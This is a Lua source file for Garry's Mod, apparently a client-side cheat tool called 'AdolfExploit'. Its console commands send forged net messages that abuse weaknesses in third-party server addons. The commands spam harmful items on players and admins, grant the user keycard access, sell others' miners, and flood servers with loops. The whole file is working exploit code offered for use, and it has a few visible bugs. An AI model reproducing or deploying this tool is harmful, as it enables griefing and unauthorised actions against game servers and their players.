------------------
-- AdolfExploit --
------------------

__adlfexpl = {}
__adlfexpl_netreceivers = {}
__adlfexpl_nilreceiver = function() return end

__nilReceiver = function(receiver)
    if net.Receivers[receiver] ~= nil then
        __adlfexpl_netreceivers[receiver] = net.Receivers[receiver]
        net.Receivers[receiver] = __adlfexpl_nilreceiver

        return true
    end

    return false
end

__restoreReceiver = function(receiver)
    if __adlfexpl_netreceivers[receiver] ~= nil then
        net.Receivers[receiver] = __adlfexpl_netreceivers[receiver]
        __adlfexpl_netreceivers[receiver] = nil

        return true
    end

    return false
end

local __print = function(str)
    print("[adolfExploit] " .. str)
end

local __getEntsByModel = function(model)
    entities = {}

    if isstring(model) then
        for k, v in pairs(ents.GetAll()) do
            if v:GetModel() == model then
                table.insert(entities, v)
            end
        end 
    elseif istable(model) then
        for k, v in pairs(ents.GetAll()) do
            if table.HasValue(model, v:GetModel()) then
                table.insert(entities, v)
            end
        end 
    end

    return entities
end

local __getPlayerByName = function(name)
    name = string.lower(name)
    players = player.GetAll()

    for k, v in pairs(players) do
        name = string.lower(name)
        for _, v in ipairs(player.GetHumans()) do 
            if string.find(string.lower(v:Name()), name, 1, true) ~= nil then 
                return v
            end 
        end 
    end

    return nil
end

local __testArg = function(arg, arg_type)
    if arg_type == "string" then
        return isstring(arg), arg
    elseif arg_type == "bool" then
        conv = tonumber(arg)
        if isnumber(conv) then
            return (conv == 0 or conv == 1), tobool(conv)
        elseif isstring(arg) then
            return (string.lower(arg) == "true" or string.lower(arg) == "false"), tobool(string.lower(arg))
        end
    end

    return false, nil
end

local __argsToString = function(args)
    str = ""
    optional = {}

    for i = 1, #args do
        if string.StartWith(args[i], ";") then table.insert(optional, string.sub(args[i], 2, #args[i])) continue end

        _explode = string.Explode(":" ,args[i])
        _pos, _type, _name = i, _explode[1], _explode[2]

        str = str .. "(" .. _pos .. ": " .. _name .. "<" .. _type .. ">) "
    end

    if #optional > 0 then str = str .. "\n  Optional: " end

    for i = 1, #optional do
        _explode = string.Explode(":" ,optional[i])
        _pos, _type, _name = i + #args - #optional, _explode[1], _explode[2]

        str = str .. "(" .. _pos .. ": " .. _name .. "<" .. _type .. ">) "
    end

    return str
end

__adlfexpl.Exploits = {
    {
        ["Name"] = "netre",
        ["Description"] = "Lists all net receivers available to local player",
        ["ExploitFunc"] = function(args)
            receivers = net.Receivers

            __print("Net Receivers (" .. #receivers .. "):")

            for k, v in pairs(receivers) do
                print("-- " .. k)
            end
        end,
        ["Args"] = {}
    },
    {
        ["Name"] = "nilednetre",
        ["Description"] = "Lists all niled net receivers",
        ["ExploitFunc"] = function(args)
            receivers = __adlfexpl_netreceivers

            __print("Niled Net Receivers (" .. #receivers .. "):")

            for k, v in pairs(receivers) do
                print("-- " .. k)
            end
        end,
        ["Args"] = {}
    },
    {
        ["Name"] = "nilnetre",
        ["Description"] = "Replaces a net receiver with a nil function which does nothing",
        ["ExploitFunc"] = function(args)
            receiver = args[1]
            result = __nilReceiver(receiver)

            if result then
                __print("Niled net receiver '" .. receiver .. "'")
            else 
                __print("Failed to nil net receiver '" .. receiver .. "' (Non-existant or already niled, see 'adlfexpl_exploit nilednetre')")
            end
        end,
        ["Args"] = {[1] = "string:receiver_name"}
    },
    {
        ["Name"] = "renetre",
        ["Description"] = "Replaces a niled net receiver with it's original function",
        ["ExploitFunc"] = function(args)
            receiver = args[1]
            result = __restoreReceiver(receiver)

            if result then
                __print("Restored net receiver '" .. receiver .. "'")
            else 
                __print("Failed to restore net receiver '" .. receiver .. "' (Non-existant or not yet niled, see 'adlfexpl_exploit nilednetre')")
            end
        end,
        ["Args"] = {[1] = "string:receiver_name"}
    },
    {
        ["Name"] = "CupMachine",
        ["Description"] = "Creates cups in all SCP 294's found; Requires SCP 294 Addon",
        ["ExploitFunc"] = function(args)
            cup = args[1]
            scps = __getEntsByModel({"models/vinrax/scp294/scp294_lg.mdl", "models/vinrax/scp294/scp294.mdl"})

            for i = 1, #scps do
                net.Start("GiveSCP294Cup")
                    net.WriteString(cup)
                    net.WriteEntity(scps[i])
                net.SendToServer()
            end

            __print("Exploited " .. #scps .. " SCP 294's with cup '" .. cup .. "'")
        end,
        ["Args"] = {[1] = "string:cup_name"}
    },
    {
        ["Name"] = "CupMe",
        ["Description"] = "Creates cup on the local player; Requires SCP 294 Addon",
        ["ExploitFunc"] = function(args)
            cup = args[1]

            net.Start("GiveSCP294Cup")
                net.WriteString(cup)
                net.WriteEntity(LocalPlayer())
            net.SendToServer()

            __print("Created a '" .. cup .. "' cup on local player")
        end,
        ["Args"] = {[1] = "string:cup_name"}
    },
    {
        ["Name"] = "CupPlayer",
        ["Description"] = "Creates cup on the player; Requires SCP 294 Addon",
        ["ExploitFunc"] = function(args)
            cup, ply = args[1], args[2]
            plyr = __getPlayerByName(ply)

            if plyr == nil then
                __print("Didn't find any players to exploit on with the name '" .. ply .. "'")
                return
            end

            net.Start("GiveSCP294Cup")
                net.WriteString(cup)
                net.WriteEntity(plyr)
            net.SendToServer()

            __print("Created a '" .. cup .. "' cup on '" .. players[1]:GetName() .. "'")
        end,
        ["Args"] = {[1] = "string:cup_name", [2] = "string:player_name"}
    },
    {
        ["Name"] = "CupAllEnts",
        ["Description"] = "Creates cup on every entity; Requires SCP 294 Addon",
        ["ExploitFunc"] = function(args)
            cup = args[1]
            entities = ents.GetAll()

            for _, v in pairs(entities) do
                net.Start("GiveSCP294Cup")
                    net.WriteString(cup)
                    net.WriteEntity(v)
                net.SendToServer()
            end

            __print("Created a '" .. cup .. "' cup on " .. #entities .. " entities")
        end,
        ["Args"] = {[1] = "string:cup_name"}
    },
    {
        ["Name"] = "CupAllPlayers",
        ["Description"] = "Creates cup on every player; Requires SCP 294 Addon",
        ["ExploitFunc"] = function(args)
            cup = args[1]
            players = player.GetAll()

            for _, v in pairs(players) do
                net.Start("GiveSCP294Cup")
                    net.WriteString(cup)
                    net.WriteEntity(v)
                net.SendToServer()
            end

            __print("Created a '" .. cup .. "' cup on " .. #players .. " players")
        end,
        ["Args"] = {[1] = "string:cup_name"}
    },
    {
        ["Name"] = "CupAllAdmins",
        ["Description"] = "Creates cup on every player; Requires SCP 294 Addon",
        ["ExploitFunc"] = function(args)
            cup = args[1]
            players = player.GetAll()
            count = 0

            for _, v in pairs(players) do
                if not v:IsAdmin() then continue end
                net.Start("GiveSCP294Cup")
                    net.WriteString(cup)
                    net.WriteEntity(v)
                net.SendToServer()
                count = count + 1
            end

            __print("Created a '" .. cup .. "' cup on " .. count .. " admins")
        end,
        ["Args"] = {[1] = "string:cup_name"}
    },
    {
        ["Name"] = "CupAllEntsLoop",
        ["Description"] = "Starts/stops loop creating cup on every entity; Requires SCP 294 Addon",
        ["ExploitFunc"] = function(args)
            if timer.Exists("adlfexpl_cupallentsloop") then
                timer.Remove("adlfexpl_cupallentsloop")
                __print("Stopped creating cups on all entities")
            else 
                timer.Create("adlfexpl_cupallentsloop", 0.01, 0, function()
                    for _, v in pairs(ents.GetAll()) do
                        net.Start("GiveSCP294Cup")
                            net.WriteString(cup)
                            net.WriteEntity(v)
                        net.SendToServer()
                    end
                end)
                __print("Started creating cups on all entities")
            end
        end,
        ["Args"] = {}
    },
    {
        ["Name"] = "CreateCup",
        ["Description"] = "Creates new cup for SCP 294; Requires SCP 294 Addon",
        ["ExploitFunc"] = function(args)
            cup_name, cup_text, cup_kill, cup_heal, cup_burn, cup_explode, color_r, color_g, color_b, color_alpha = args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8], args[9], args[10]

            if isnumber(tonumber(color_r)) then color_r = math.Clamp(tonumber(color_r), 0, 255) else color_r = 255 end
            if isnumber(tonumber(color_g)) then color_g = math.Clamp(tonumber(color_g), 0, 255) else color_g = 0 end
            if isnumber(tonumber(color_b)) then color_b = math.Clamp(tonumber(color_b), 0, 255) else color_b = 0 end
            if isnumber(tonumber(color_alpha)) then color_alpha = math.Clamp(tonumber(color_alpha), 0, 255) else color_alpha = 255 end

            cup = {
                ["name"] = cup_name,
                ["text"] = cup_text,
                ["kill"] = cup_kill,
                ["heal"] = cup_heal,
                ["burn"] = cup_burn,
                ["explode"] = cup_explode,
                ["color"] = Color(color_r, color_g, color_b, color_alpha)
            }
            
            net.Start("ReceiveDrinkInfo")
                net.WriteTable(cup)
            net.SendToServer()
        end,
        ["Args"] = {[1] = "string:cup_name", [2] = "string:cup_text", [3] = "bool:cup_kill", [4] = "bool:cup_heal", [5] = "bool:cup_burn", [6] = "bool:cup_explode", [7] = ";0-255:color_r", [8] = ";0-255:color_g", [9] = ";0-255:color_b", [10] = ";0-255:color_alpha"}
    },
    {
        ["Name"] = "wdEmp",
        ["Description"] = "Does watch dogs phone emp action; Requires Watch Dogs Phone Addon",
        ["ExploitFunc"] = function(args)
            net.Start("start_wd_emp")
            net.SendToServer()

            __print("Attempted to execute watch dogs phone emp, will not work during cooldown")
        end,
        ["Args"] = {}
    },
    {
        ["Name"] = "wdStopHackLoop",
        ["Description"] = "Spams server to stop hacks on every entity to prevent (no-emp) hacking; Requires Watch Dogs Phone Addon",
        ["ExploitFunc"] = function(args)
            if timer.Exists("adlfexpl_wd_stophack") then
                timer.Remove("adlfexpl_wd_stophack")
                __print("Stopped stopping hacks")
            else 
                timer.Create("adlfexpl_wd_stophack", 0.1, 0, function()
                    for _, v in pairs(ents.GetAll()) do
                        net.Start("stop_wd_hack")
                            net.WriteEntity(v)
                        net.SendToServer()
                    end
                end)
                __print("Started stoping hacks")
            end
        end,
        ["Args"] = {} -- BM2.Command.SellBitcoins
    },
    {
        ["Name"] = "bm2sell",
        ["Description"] = "Sells bitcoins for all miners to which one has permission; Bitminers 2 Addon",
        ["ExploitFunc"] = function(args)
            miners = __getEntsByModel({"models/bitminers2/bitminer_1.mdl", "models/bitminers2/bitminer_2.mdl", "models/bitminers2/bitminer_3.mdl"})

            for i = 1, #miners do
                net.Start("BM2.Command.SellBitcoins")
                    net.WriteEntity(miners[i])
                net.SendToServer()
            end

            __print("Tried to sell on " .. #miners .. " bitminers")
        end,
        ["Args"] = {}
    },
    {
        ["Name"] = "ksaddself",
        ["Description"] = "Adds local player to the keycard scanner you are looking at; Keycard Scanner Addon",
        ["ExploitFunc"] = function(args)
            ent = LocalPlayer():GetEyeTrace().Entity

            if ent:GetModel() == "models/card/keycard_scanner.mdl" then
                net.Start("netKeycardSAddPlayer")
                    net.WriteEntity(ent)
                    net.WriteEntity(LocalPlayer())
                net.SendToServer()

                __print("Added self to " .. #scanners .. " keycard scanner")
            else
                __print("Not looking at keycard scanner")
            end
        end,
        ["Args"] = {}
    },
    {
        ["Name"] = "ksaddselfall",
        ["Description"] = "Adds local player to all keycard scanners; Keycard Scanner Addon",
        ["ExploitFunc"] = function(args)
            scanners = __getEntsByModel("models/card/keycard_scanner.mdl")

            for i = 1, #scanners do
                net.Start("netKeycardSAddPlayer")
                    net.WriteEntity(scanners[i])
                    net.WriteEntity(LocalPlayer())
                net.SendToServer()
            end

            __print("Added self to " .. #scanners .. " keycard scanners")
        end,
        ["Args"] = {}
    },
    {
        ["Name"] = "mocknet",
        ["Description"] = "Sends blank net message to server",
        ["ExploitFunc"] = function(args)
            message_name = args[1]

            net.Start(message_name)
            net.SendToServer()
        end,
        ["Args"] = {[1] = "string:message_name"}
    },
    {
        ["Name"] = "AritzCheck",
        ["Description"] = "Runs ARitz Cracker check; Requires ARitz Cracker Bank Addon",
        ["ExploitFunc"] = function(args)
            net.Start("arcbank_comm_check")
            net.SendToServer()

            net.Receive("arcbank_comm_check", function()
                print("Received Bit #1: " .. net.ReadBit())
                print("Received Bit #2: " .. net.ReadBit())
            end)
        end,
        ["Args"] = {}
    }
}

__adlfexpl.GetExploit = function(name)
    for i = 1, #__adlfexpl.Exploits do
        if string.lower(__adlfexpl.Exploits[i]["Name"]) == string.lower(name) then
            return true, __adlfexpl.Exploits[i]
        end
    end
    return false, nil
end

__adlfexpl.DoExploit = function(name, arguments)
    exists, exploit = __adlfexpl.GetExploit(name)

    if exists then
        success, err = pcall(exploit["ExploitFunc"], arguments)
        if not success then
            return false, err
        end
    end

    return true, nil
end

concommand.Add("adlfexpl_exploits", function(ply, cmd, args)
    __print("Exploits:")
    for i = 1, #__adlfexpl.Exploits do
        print("----- " .. __adlfexpl.Exploits[i]["Name"])
    end
end)

concommand.Add("adlfexpl_whatis", function(ply, cmd, args)
    exploit_name = args[1]

    if not isstring(exploit_name) then return end

    exists, exploit = __adlfexpl.GetExploit(exploit_name)

    if exists then
        __print("'" .. exploit_name .. "':\n  Description: " .. exploit["Description"] .. ";\n  Args: " .. __argsToString(exploit["Args"]))
    else 
        __print("Exploit '" .. exploit_name .. "' does not exit (See 'adlfexpl_exploits')")
    end
end)

concommand.Add("adlfexpl_exploit", function(ply, cmd, args)
    exploit_name = args[1]
    exists, exploit = __adlfexpl.GetExploit(exploit_name)

    if exists then
        table.RemoveByValue(args, exploit_name)
        exploit_args = exploit["Args"]

        for k, v in pairs(exploit_args) do
            if string.StartWith(v, ";") then continue end

            valid, value = __testArg(args[k], string.Explode(":", v)[1])
            if valid == false then
                __print("Invalid arguments for exploit '" .. exploit_name .. "' (See 'adlfexpl_exploits')")
                return
            else 
                args[k] = value
            end
        end

        success, err = __adlfexpl.DoExploit(exploit_name, args)
        if success then
            __print("Exploit ran without error")
        else 
            __print("Exploit returned an error (" .. err .. ")")
        end
    else 
        __print("Exploit '" .. exploit_name .. "' does not exist (See 'adlfexpl_exploits')")
    end
end)